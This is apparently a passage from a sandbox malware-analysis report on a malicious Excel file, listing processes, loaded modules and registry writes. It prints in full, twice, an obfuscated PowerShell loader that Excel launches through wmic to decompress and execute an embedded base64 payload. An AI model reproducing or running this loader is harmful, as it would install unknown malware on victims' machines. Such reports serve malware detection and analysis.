r1b7+73/88Nff//Z3f/jbX/7tj7//92/lf8qXP/3uD7/98af7vx/+8t9//uu3n7777p9/+Pn7b21/+fI3//p33375p28//vyXf/jytXy9/r58/fr1/8r969f/Bw==' ) ${7HE} [iO.COmpREsSiON.compRESSiOnMode]::decOmprEsS)|% {Re io.STreAMrEADeR( `$_ ${7HE} [texT.ENcodInG]::utf8 ) } ).rEADtoeNd( )"\" |ieX"
Path
C:\Windows\System32\Wbem\wMIc.exe
Indicators
No indicators
Parent process
EXCEL.EXE
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Microsoft Corporation
Description
WMI Commandline Utility
Version
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Image
c:\windows\system32\wbem\wmic.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\ole32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\framedynos.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\wtsapi32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\nsi.dll
c:\windows\system32\secur32.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\winnsi.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\cryptbase.dll
c:\windows\system32\clbcatq.dll
c:\windows\system32\wbem\wbemprox.dll
c:\windows\system32\wbemcomn.dll
c:\windows\system32\msxml3.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\api-ms-win-downlevel-ole32-l1-1-0.dll
c:\windows\system32\api-ms-win-downlevel-shlwapi-l1-1-0.dll
c:\windows\system32\api-ms-win-downlevel-user32-l1-1-0.dll
c:\windows\system32\api-ms-win-downlevel-version-l1-1-0.dll
c:\windows\system32\api-ms-win-downlevel-advapi32-l1-1-0.dll
c:\windows\system32\version.dll
c:\windows\system32\api-ms-win-downlevel-normaliz-l1-1-0.dll
c:\windows\system32\normaliz.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\wininet.dll
c:\windows\system32\userenv.dll
c:\windows\system32\profapi.dll
c:\windows\system32\api-ms-win-downlevel-shlwapi-l2-1-0.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rsaenh.dll
c:\windows\system32\rpcrtremote.dll
c:\program files\common files\microsoft shared\office14\msoxmlmf.dll
c:\windows\winsxs\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251\msvcr90.dll
c:\windows\system32\wbem\wbemsvc.dll
c:\windows\system32\wbem\fastprox.dll
c:\windows\system32\ntdsapi.dll

PID
1896
CMD
POWeRsHEll -NOprOf -WiN 00000000000000000000001 -EP byPass -nONiNtErac $K03 = [STRing][CHAr]34 ;$7HE =([CHAr]44).TOSTRinG() ;"\".(${K03}{0}{1}${K03} -f's'${7HE}'al') ('Re') (${K03}{0}{2}{1}${K03}-f'N'${7HE}'-Object'${7HE}'ew');.(${K03}{0}{1}${K03}-f 's'${7HE}'al') ('Er') (${K03}{1}{0}${K03}-f 'x'${7HE}'iE');Er(Re io.COMpResSion.DEFLATEsTREAM([sYSTEm.io.mEmORyStrEAM] [COnVeRt]::frOmBaSe64StrIng( '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' ) ${7HE} [iO.COmpREsSiON.compRESSiOnMode]::decOmprEsS)|% {Re io.STreAMrEADeR( `$_ ${7HE} [texT.ENcodInG]::utf8 ) } ).rEADtoeNd( )"\" |ieX
Path
C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHEll.exe
Indicators
No indicators
Parent process
––
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Microsoft Corporation
Description
Windows PowerShell
Version
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Image
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\cryptbase.dll
c:\windows\system32\clbcatq.dll
c:\windows\system32\shell32.dll
c:\windows\system32\userenv.dll
c:\windows\system32\profapi.dll
c:\windows\winsxs\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_fa3b1e3d17594757\comctl32.dll
c:\windows\system32\setupapi.dll
c:\windows\system32\cfgmgr32.dll
c:\windows\system32\devobj.dll
c:\windows\system32\propsys.dll
c:\windows\system32\ntmarta.dll
c:\windows\system32\wldap32.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\shdocvw.dll
c:\windows\system32\linkinfo.dll
c:\windows\system32\ntshrui.dll
c:\windows\system32\srvcli.dll
c:\windows\system32\cscapi.dll
c:\windows\system32\slc.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rsaenh.dll
c:\windows\microsoft.net\framework64\v4.0.30319\mscoreei.dll
c:\windows\system32\version.dll
c:\windows\microsoft.net\framework64\v2.0.50727\mscorwks.dll
c:\windows\winsxs\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_88e41e092fab0294\msvcr80.dll
c:\windows\assembly\nativeimages_v2.0.50727_64\mscorlib\0478aed7fc25ae268474c704fd2a3e0f\mscorlib.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_64\system\9b0615d346556a8ae639dcec168731cc\system.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_64\microsoft.powershel#\fabca41dc6cc22a902c2525408b49ab9\microsoft.powershell.consolehost.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_64\system.management.a#\d5ab9ebdfc2bacea66210c16fff703d2\system.management.automation.ni.dll
c:\windows\system32\psapi.dll
c:\windows\assembly\nativeimages_v2.0.50727_64\system.core\2706ddbd765b8a111d3083f8af88ef03\system.core.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_64\microsoft.powershel#\326a4488a1881b3bd8ea1e8f4dd7420f\microsoft.powershell.commands.diagnostics.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_64\system.configuratio#\1e9190c7a12053ea715c8d8ef8faddd1\system.configuration.install.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_64\microsoft.wsman.man#\23314086651ff4d13264ef3cd19e0b4e\microsoft.wsman.management.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_64\system.transactions\9354030849f9e58d9b95d32149f7bb68\system.transactions.ni.dll
c:\windows\assembly\gac_64\system.transactions\2.0.0.0__b77a5c561934e089\system.transactions.dll
c:\windows\assembly\nativeimages_v2.0.50727_64\microsoft.powershel#\2e6ebcf758bbffd55f7abfd8878c72c1\microsoft.powershell.commands.utility.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_64\microsoft.powershel#\7c10a24ff552941b03414d424169041f\microsoft.powershell.commands.management.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_64\microsoft.powershel#\89738d6a75ab575f400360d0670f60ed\microsoft.powershell.security.ni.dll
c:\windows\microsoft.net\framework64\v2.0.50727\culture.dll
c:\windows\assembly\nativeimages_v2.0.50727_64\system.xml\e0542eb82c5f716397d316d5c88f7ae5\system.xml.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_64\system.management\38c49b707af17308185a48479fcb7404\system.management.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_64\system.directoryser#\543de12ce97f16746b85981a80878035\system.directoryservices.ni.dll
c:\windows\system32\shfolder.dll
c:\windows\microsoft.net\framework64\v2.0.50727\mscorjit.dll
c:\windows\system32\secur32.dll
c:\windows\system32\sspicli.dll
c:\windows\assembly\nativeimages_v2.0.50727_64\system.data\2276c85b65e1f517da1b9026640e2a55\system.data.ni.dll
c:\windows\assembly\gac_64\system.data\2.0.0.0__b77a5c561934e089\system.data.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\nsi.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\microsoft.net\framework64\v2.0.50727\diasymreader.dll
c:\windows\system32\netutils.dll

Registry activity

Total events
1027
Read events
799
Write events
223
Delete events
5

Modification events

PID
Process
Operation
Key
Name
Value
2888
EXCEL.EXE
delete key
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
2888
EXCEL.EXE
delete key
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
2888
EXCEL.EXE
delete key
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\158B72
2888
EXCEL.EXE
delete key
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery
2888
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
}|9
7D7C3900480B0000010000000000000000000000
2888
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
1033
Off
2888
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
1033
On
2888
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
1040
On
2888
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
MTTT
480B00002EBAD0767268D50100000000
2888
EXCEL.EXE
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
EXCELFiles
1328218135
2888
EXCEL.EXE
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
ProductFiles
1328218238
2888
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
ProxyBypass
1
2888
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
IntranetName
1
2888
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
UNCAsIntranet
1
2888
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
AutoDetect
0
2888
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\158B72
158B72
04000000480B00002800000043003A005C00550073006500720073005C00610064006D0069006E005C004400650073006B0074006F0070005C004D0049004C0030003000300031003500330037003400320036002E0078006C007300000000001700000043003A005C00550073006500720073005C00610064006D0069006E005C004400650073006B0074006F0070005C00010000000000000040AE81797268D501728B1500728B150000000000B8020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2888
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\158B72
158B72
04000000480B00002800000043003A005C00550073006500720073005C00610064006D0069006E005C004400650073006B0074006F0070005C004D0049004C0030003000300031003500330037003400320036002E0078006C007300000000001700000043003A005C00550073006500720073005C00610064006D0069006E005C004400650073006B0074006F0070005C00010000000000000040AE81797268D501728B1500728B150000000000B8020000001800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2888
EXCEL.EXE
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
VBAFiles
1328218116
2888
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\ReviewCycle
ReviewToken
{2691188B-4F28-444A-8FEA-9434AE7BC731}
2888
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\158B72
158B72
04000000480B00002800000043003A005C00550073006500720073005C00610064006D0069006E005C004400650073006B0074006F0070005C004D0049004C0030003000300031003500330037003400320036002E0078006C007300000000001700000043003A005C00550073006500720073005C00610064006D0069006E005C004400650073006B0074006F0070005C00010000000000000040AE81797268D501728B1500728B150000000000B8020000001800000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2888
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\158CC9
158CC9
